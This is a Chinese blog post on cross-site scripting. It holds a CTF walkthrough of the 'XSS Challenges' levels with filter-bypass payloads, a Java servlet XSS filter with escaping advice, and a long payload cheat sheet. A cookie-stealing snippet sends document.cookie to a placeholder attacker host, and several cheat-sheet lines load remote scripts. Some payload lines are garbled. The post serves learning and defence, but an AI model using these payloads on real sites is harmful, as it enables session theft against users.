概述
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器 执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨 大的,是web安全的头号大敌。
攻击的条件
根据XSS攻击的效果可以分为几种类型
XSS攻击能做些什么
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码。
XSS Challengs闯关第一关
第一关很简单什么都不用编码直接输入payload就会弹窗
<script>alert(document.domain);</script>
第二关
F12看下源码,这里提示说要闭合上一个标签。所以也很简单,直接
"><script>alert(document.domain)</script>
第三关
这里很明显在box中进行xss。看似只有这几个选项实际上是post传参的,可以bp抓包修改。也可以在element里面改。
加入
<script>alert(document.domain)</script>
第四关
这里通过提示可以知道有转义
但是可以看到hiden这p3也会post上去,我们在post上面做文章
p1=123&p2=Japan&p3="><script>alert(document.domain)</script>
通过抓包提交p3
第五关
输入的时候发现长度受限制,F12查看源码;
这里设置了长度。但是也不难,初学ctf的人应该都遇到过这个情况,改掉maxlength就行了。
我直接改成了150
然后输入:"><script>alert(document.domain)</script>
第六关
输入"><script>alert(document.domain)</script><发现<>被过滤
这里我们换个思路,既然闭合不了就顺着他的意思,给他加个属性。 payload:
" onclick=alert(document.domain) id="a
触发后弹窗
第七关
这里可以知道和上节有点相似。但是按照上节的payload试试呢?
这里我们可以看到依然可以弹窗。但是和上节不同的地方就是value。上节中value并没有值,而这里有了。说明什么?这里对"进行了过滤,所以这里的"能正确出现在框里面,当作value的值。上节中没有过滤"符号所以value值是空。 第八关
这里看到提示说用javascript协议。这里没有什么过滤直接xss
javascript:alert(document.domain)
第九关
这里提示说要用utf-7的编码来绕过。并且目前只有IE7下才会成功。
payload构造参考的Nixawk的博客http://blog.csdn.net/nixawk/article/details/28038509
payload:
p1=a%2BACI++onmouseover%2BAD0AIg-javascript%3Aalert%28document.domain%29%2BACI++id%2BAD0AIg-x&charset=UTF-7
因为UTF-7编码需要结合utf-7bom,这部分不是很熟悉还需要学习一下。
第十关
这里我们可以看到对domain这个特殊字眼进行了过滤。
当我输入domain的时候发现对这个特殊字符串进行了识别然后替换成了空字符串。这样又一个简单的绕过方法,就是在domain中间加入一个domain。这种类似的方法sql中出现过很多次了。
paylaod:
"><script>alert(document.dodomainmain)</script>
第十一关
script –> xscript script过滤成xscript
on[a-z] –> onxxx on事件过滤成onxxx
style –> stxxx style属性过滤成stxxx
但是没有过滤"<>这样的话就可以先闭合"><script>alert()</script>。但是这里过滤了script怎么办呢?
这个时候就可以想着对script就行编码就行了
那么该用什么编码呢?无非就是html实体编码,jsunicode,js16进制或者八进制,url编码。我们都试试。
html实体编码没有成功被解析
js16进制编码:
"><sx63ript>alert(document.domain)</sx63ript>
也是没有被解析
unicode:
"><su0063ript>alert(document.domain)</su0063ript>
也没有解析,url编码就不说了,也肯定是不会被解析的
那么这种对标签编码的方法是行不通的了。于是我们换个方法。既然script标签不行,我们还有javascript协议。我们用<a>标签去xss。
payload:
"><a href="javascript:alert(document.domain)">Da13</a>
但是还是得想办法绕过对script的过滤
按照之前的方法,我们先对某个字符进行html实体编码:payload:
"><a href="javascript:alert(document.domain)">Da13</a>
触发了。那我们缓缓js编码看看呢?
都没有成功。所以这里可以看出:
不能对标签编码,对javascript编码的时候首先是html解析起将实体编码识别,再是后面的url解析起识别a标签中的url编码,等到一切准备就绪。js解析开始识别最后的编码并触发弹窗
当然这题还有另一个解法:
paayload:
"><a href="javas	cript:alert(document.domain)">Da13</a>
"><a href="javas
cript:alert(document.domain)">Da13</a>
至于为什么在《XSS与字符编码的那些事儿》里面已经说到了。我这里就再做个搬运工。
第十二关
过滤x00到x20所有字符,< > ” (英文双引号) ‘(英文单引号)。但是`还没被过滤,于是可以用`加上onclick,onmouseover,onfocus均可。但是前提只有在IE中才能实现。
payload:
``onclick=alert(document.domain);
第十三关
根据提示,需要控制style的属性,style跟JS连接的属性有expression,url。需要注意的是expression是IE浏览器早期版本中的CSS属性值,实验使用IE 浏览器。
payload:
da13:expression(onmouseover=function(){alert(document.domain)})
第十四关
和十三关没什么太大的区别,就是加了对敏感词汇的黑名单过滤
s/(url|script|eval|expression)/xxx/ig;
这样也不难绕过直接在关键词中间加注释符就行了。
第十五关
这里可以看到时document.write()函数把value写入。我们先试试一般的payload看看。
可以看到这里对特殊符号进行了编码。导致我们输入的不能被触发
那我们试试编码html实体编码。
这里对&符号也编码了。
试试js十六进制编码
x3cscriptx3ealert(document.domain);x3c/scriptx3e
这里可以看到成功了。就是因为document.write是js中的,所以按照js编码规则,这样的payload是可以被识别的。
第十六关
这里可以看到依然是docment.write函数,但是做了过滤。"x"这类符号被过滤了,也就是说js的16进制都不行了。但是还有unicode编码和8进制,以下贴出unicode编码的payload。
payload:
u003cscriptu003ealert(document.domain)u003c/scriptu003e
第十七关
这里提示多字节字符。这里如果regist成功,输入的数据就会显示在框里面,如果有违法字符就什么都不会显示。这里fuzz以下发现过滤了"<>符号。根据提示可以猜测是类似于宽字节注入。
但是这里说是要老版本的IE才会成功。所以就直接贴出payload
payload:
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
第十八关
依然过滤了<>"
这个源自于浏览器会把一些8位的字符直接解释成7位ascii(漏洞已经在IE8中修补了)浏览器会忽略掉一些8位字符的第一位,如BC和<2进制的后7位相同,浏览器会把他当做BC,并不会过滤。比如:“<” 十六进制 “3C” ,对应二进制是 "0011 1100" 最高位置1 变为 1011 1100 — 也就是 BC。可以理解为 3C + 80 = BC (十六进制下)
所以
"><script>alert(document.domain)</scirpt>
经过变换后就是
%A2%BE%BCscript%BEalert(document.domain);%BC/scirpt%BE
这题也是需要IE才能实现
第十九关
根据提示,可以找到该漏洞的文章
https://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html因为这个洞是2010年的了,比较久远了,而且要在IE8中才能触发。
这里和twitter中的漏洞环境差不多。取#!后面的放入linkurl后面。但是在谷歌里面插入
#!javascript:alert(document.domain)
本来在IE8中就可以弹窗但是这里看到谷歌会404,不过URL会变成javascript协议。
最后
经过这次的xss challengs算是复习了一下对xss编码和简单xss绕过的一些小技巧,下来还会去练习一些更难的,灵活性更强的。希望各位大佬们如果看到什么
链接:https://www.secpulse.com/archives/123460.html
解决方法
一:
一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤,请看如下XSS过滤工具类代码
在项目的web.xml配置过滤器:
<filter>
<filter-name>XssEscape</filter-name>
<filter-class>XssFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>XssEscape</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
XssFilter实现:
public class XssFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request), response);
}
@Override
public void destroy() {
}
}
XssHttpServletRequestWrapper实现
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
public XssHttpServletRequestWrapper(HttpServletRequest request) {
super(request);
}
@SuppressWarnings("rawtypes")
public Map<String,String[]> getParameterMap(){
Map<String,String[]> request_map = super.getParameterMap();
Iterator iterator = request_map.entrySet().iterator();
while(iterator.hasNext()){
Map.Entry me = (Map.Entry)iterator.next();
String[] values = (String[])me.getValue();
for(int i = 0 ; i < values.length ; i++){
values[i] = xssClean(values[i]);
}
}
return request_map;
}
public String[] getParameterValues(String paramString)
{
String[] arrayOfString1 = super.getParameterValues(paramString);
if (arrayOfString1 == null)
return null;
int i = arrayOfString1.length;
String[] arrayOfString2 = new String[i];
for (int j = 0; j < i; j++){
arrayOfString2[j] = xssClean(arrayOfString1[j]);
}
return arrayOfString2;
}
public String getParameter(String paramString)
{
String str = super.getParameter(paramString);
if (str == null)
return null;
return xssClean(str);
}
public String getHeader(String paramString)
{
String str = super.getHeader(paramString);
if (str == null)
return null;
str = str.replaceAll("r|n", "");
return xssClean(str);
}
private String xssClean(String value) {
//ClassLoaderUtils.getResourceAsStream("classpath:antisamy-slashdot.xml", XssHttpServletRequestWrapper.class)
if (value != null) {
// NOTE: It's highly recommended to use the ESAPI library and
// uncomment the following line to
// avoid encoded attacks.
// value = encoder.canonicalize(value);
value = value.replaceAll(" ", "");
// Avoid anything between script tags
Pattern scriptPattern = Pattern.compile("<script>(.*?)</script>",
Pattern.CASE_INSENSITIVE);
value = scriptPattern.matcher(value).replaceAll("");
// Avoid anything in a src='...' type of expression
scriptPattern = Pattern.compile("src[rn]*=[rn]*\'(.*?)\'",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
| Pattern.DOTALL);
value = scriptPattern.matcher(value).replaceAll("");
// Avoid anything in a href='...' type of expression
scriptPattern = Pattern.compile("href[rn]*=[rn]*\"(.*?)\"",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
| Pattern.DOTALL);
value = scriptPattern.matcher(value).replaceAll("");
// Remove any lonesome </script> tag
scriptPattern = Pattern.compile("</script>",
Pattern.CASE_INSENSITIVE);
value = scriptPattern.matcher(value).replaceAll("");
// Remove any lonesome <script ...> tag
scriptPattern = Pattern.compile("<script(.*?)>",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
| Pattern.DOTALL);
value = scriptPattern.matcher(value).replaceAll("");
// Avoid eval(...) expressions
scriptPattern = Pattern.compile("eval\((.*?)\)",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
| Pattern.DOTALL);
value = scriptPattern.matcher(value).replaceAll("");
// Avoid expression(...) expressions
scriptPattern = Pattern.compile("expression\((.*?)\)",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
| Pattern.DOTALL);
value = scriptPattern.matcher(value).replaceAll("");
// Avoid javascript:... expressions
scriptPattern = Pattern.compile("javascript:",
Pattern.CASE_INSENSITIVE);
value = scriptPattern.matcher(value).replaceAll("");
// Avoid vbscript:... expressions
scriptPattern = Pattern.compile("vbscript:",
Pattern.CASE_INSENSITIVE);
value = scriptPattern.matcher(value).replaceAll("");
// Avoid onload= expressions
scriptPattern = Pattern.compile("onload(.*?)=",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE
| Pattern.DOTALL);
value = scriptPattern.matcher(value).replaceAll("");
}
return value;
}
}
二、
过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出;
可以利用下面这些函数对出现xss漏洞的参数进行过滤
1、htmlspecialchars() 函数,用于转义处理在页面上显示的文本。
2、htmlentities() 函数,用于转义处理在页面上显示的文本。
3、strip_tags() 函数,过滤掉输入、输出里面的恶意标签。
4、header() 函数,使用header("Content-type:application/json"); 用于控制 json 数据的头部,不用于浏览。
5、urlencode() 函数,用于输出处理字符型参数带入页面链接中。
6、intval() 函数用于处理数值型参数输出页面中。
7、自定义函数,在大多情况下,要使用一些常用的 html 标签,以美化页面显示,如留言、小纸条。那么在这样的情况下,要采用白名单的方法使用合法的标签显示,过滤掉非法的字符。
各语言示例:
PHP的htmlentities()或是htmlspecialchars()。
Python的cgi.escape()。
ASP的Server.HTMLEncode()。
ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library
Java的xssprotect(Open Source Library)。
Node.js的node-validator。
XSS常见语句整理
<script>alert('hello,gaga!');</script> //经典语句,哈哈!
>"'><img src="javascript.:alert('XSS')">
>"'><script>alert('XSS')</script>
<table background='javascript.:alert((
)'></table>
<object type=text/html data='javascript.:alert((
);'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert("Vulnerable")</script>.jsp
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
<script>alert('Vulnerable')</script>
a.jsp/<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
<IMG SRC="javascript.:alert('XSS');">
<IMG src="/javascript.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"("XSS")>
<IMG SRC="jav	ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
"<IMG src="/java" script.:alert("XSS")>";'>out
<IMG SRC=" 'javascript.:alert('XSS'');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="'javascript.:alert('XSS'')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="'javascript.:alert('XSS'')">
<IMG LOWSRC="'javascript.:alert('XSS'')">
<BGSOUND SRC="'javascript.:alert('XSS'');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet"HREF="'javascript.:alert('XSS'');">
<IMG SRC='vbscript.:msgbox("XSS")'>
<META. HTTP-EQUIV="refresh"CONTENT="0;url='javascript.:alert('XSS'');">
<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="'javascript.:alert('XSS'')">
<DIV STYLE="background-image: url('javascript.:alert('XSS''))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@import'javascript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expression(alert("XSS"))'>
<STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE. TYPE="text/css">.XSS{background-image:url("'javascript.:alert('XSS'')");}</STYLE><A CLASS=XSS></A>
<STYLE. type="text/css">BODY{background:url("'javascript.:alert('XSS'')")}</STYLE>
<BASE HREF="'javascript.:alert('XSS'');//">
getURL("'javascript.:alert('XSS'')")
a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="'javascript.:alert('XSS'');">
"> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC="'javascript.:alert('XSS'')"
<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
https://www.cnblogs.com/xuehen/p/4814237.html
本文始发于微信公众号(LemonSec):xss game挑战笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论